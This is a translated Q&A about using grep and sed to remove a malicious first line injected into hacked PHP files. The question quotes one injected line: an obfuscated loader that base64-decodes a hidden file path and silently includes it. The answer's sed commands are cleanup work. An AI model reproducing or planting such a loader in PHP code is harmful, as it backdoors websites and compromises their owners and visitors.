我想删除与下一个grep命令匹配的所有文件中的第一行:
grep -Rl '<\?php /\* <!-----.*/\?>' ./
这些文件被黑了,我想删除这一行。 我尝试使用“sed”的几个命令,但没有结果,这样的命令:
sed 's/<\?php /\* <!-----.*/\?>//g' ./*
谢谢,最好的问候。
编辑。例如:
<?php /* <!-----sSMiRuomIZgafwAFrWqzLk-----> */ $SVjFIagfCmbDNLrO = base64_decode("L2hvbWUvZmVybmFuNi9wdWJsaWNfaHRtbC9QSFBMaXN0L2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZGlhbG9nL2Zja19zcGVsbGVycGFnZXMvc3BlbGxlcnBhZ2VzL3NlcnZlci1zY3JpcHRzLzIzMWE5ZDFhMGVmODM1NTEwNjdhMTY1YmU3ZmI4M2Zka2l4b3JscXZ1YiawaHX="); @include_once $SVjFIagfCmbDNLrO;/* <!-----sSMiRuomIZgafwAFrWqzLk-----> */?><?php
defined('_JEXEC') or die('Direct Access to this location is not allowed.');
/**
并且只想从<?php /*....
移至*/?>
答案 0 :(得分:3)
你想要的是:
sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/d ; }' INPUTFILES*
此操作仅在第一行上运行,如果它与您的模式匹配,则删除它(就地,并使用.ORIG
扩展名备份原始文件)。
更新:
如果您只想删除第一行的某些部分:
sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/s/YOUR_REGEX_PATTERN// ; }' INPUTFILES*
在你的情况下可能是:
sed -i.ORIG '1 { /<?php \/\*.*\/?>/s_<?php /\*.*<?php_<?php_ ; }' INPUTFILES*
但这只会在某些情况下起作用......例如<?php
可能出现在编码的字符串部分中......(可能会发生......)。并且sed不支持非贪婪和/或前瞻,后视正则表达式......